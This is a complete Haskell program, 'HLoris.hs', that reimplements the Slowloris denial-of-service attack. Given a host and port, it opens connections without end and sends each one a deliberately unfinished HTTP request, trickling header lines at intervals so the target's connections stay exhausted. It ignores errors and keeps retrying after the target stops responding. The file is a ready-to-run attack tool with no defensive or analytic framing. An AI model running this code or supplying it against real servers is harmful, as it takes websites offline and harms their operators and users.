Slowloris reimplementation: https://en.wikipedia.org/wiki/Slowloris_%28software%29

HLoris.hs

module Main where

import           Control.Applicative    ((<$>), (<*>))
import           Control.Concurrent     (Chan, ThreadId, forkIO,
                                         getChanContents, killThread, newChan,
                                         threadDelay, writeChan)
import           Control.Exception.Base (SomeException (..), catch, finally,
                                         handle)
import           Control.Monad          (forM_, forever)
import           Control.Monad.IO.Class (MonadIO, liftIO)
import           Control.Monad.Reader   (MonadReader, ReaderT, ask, runReaderT)
import           Network                (HostName, PortID (..), connectTo)
import           System.Environment     (getArgs)
import           System.IO              (Handle, hClose, hPutStr)

type UserAgent = String
type RequestLine = String
data Env = Env { host     :: HostName
               , port     :: PortID
               , agent    :: UserAgent
               , interval :: Int
               , threads  :: Chan ThreadId
               }

defaultInterval :: Int
defaultInterval = 1000000

defaultUserAgent :: UserAgent
defaultUserAgent = "User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US))"

makeEnv :: HostName -> PortID -> IO Env
makeEnv h p = Env h p defaultUserAgent defaultInterval <$> newChan

cleanup :: Env -> IO ()
cleanup e = getChanContents (threads e) >>= mapM_ killThread

type REIO = ReaderT Env IO

liftEnv :: (MonadReader r m, MonadIO m) => (r -> IO b) -> m b
liftEnv io = ask >>= liftIO . io

liftIO2 :: (IO a -> IO b) -> REIO a -> REIO b
liftIO2 io r = liftEnv $ io . runReaderT r

liftIO3 :: (IO a -> IO b -> IO c) -> REIO a -> REIO b -> REIO c
liftIO3 io r r' = liftEnv (\e -> io (runReaderT r e) (runReaderT r' e))

httpRequestLines :: HostName -> UserAgent -> [RequestLine]
httpRequestLines ho ua = req:h:a:acc:cycle randomHeaders
  where req = "GET / HTTP/1.1\r\n"
        h   = "Host: " ++ ho ++ "\r\n"
        a   = "User-Agent: " ++ ua ++ "\r\n"
        acc = "Accept: */*\r\n"

randomHeaders :: [RequestLine]
randomHeaders = [ "Accept-Encoding: *\r\n"
                , "Referer: http://google.com/\r\n"
                , "Content-Type: application/json\r\n"
                , "Cache-Control: no-cache\r\n"
                , "Pragma: no-cache\r\n"
                , "Connection: keep-alive\r\n"
                , "X-Remote-IP: *\r\n"
                , "X-Originating-IP: 127.0.0.1\r\n"
                ]

runForkIO :: REIO () -> REIO ThreadId
runForkIO = liftIO2 forkIO

queueThread :: ThreadId -> REIO ()
queueThread t = liftEnv (\e -> writeChan (threads e) t)

runConnect :: REIO Handle
runConnect = liftEnv (\e -> connectTo (host e) (port e))

getHttpRequestLines :: REIO [RequestLine]
getHttpRequestLines = liftEnv (\e -> return $ httpRequestLines (host e) (agent e))

sendLineAndSleep :: Handle -> RequestLine -> REIO ()
sendLineAndSleep h l = liftEnv (\e -> hPutStr h l >> threadDelay (interval e))

handleAndIgnore :: REIO () -> REIO ()
handleAndIgnore = liftIO2 (handle (\(SomeException _) -> return ()))

close :: Handle -> REIO ()
close = liftIO . hClose

runFinally :: REIO b -> REIO a -> REIO a
runFinally = liftIO3 (flip finally)

sendRequest :: Handle -> REIO ()
sendRequest h = do
    ls <- getHttpRequestLines
    handleAndIgnore $
      runFinally (close h) $
        forM_ ls $ \line ->
          sendLineAndSleep h line

spawn :: REIO ()
spawn = do
    h <- runConnect
    t <- runForkIO $ sendRequest h
    queueThread t

startSpawning :: Env -> IO ()
startSpawning env = forever $ catch (runReaderT spawn env) handleError
    where handleError (SomeException _) = do putStrLn "Host no longer responds, sleeping..."
                                             threadDelay (10 * interval env)

main :: IO ()
main = handle (\(SomeException _) -> putStrLn "usage: HLoris HOST PORT") $ do
    h:p:_ <- getArgs
    env <- makeEnv h (PortNumber (fromInteger . read $ p))
    finally (startSpawning env) (cleanup env)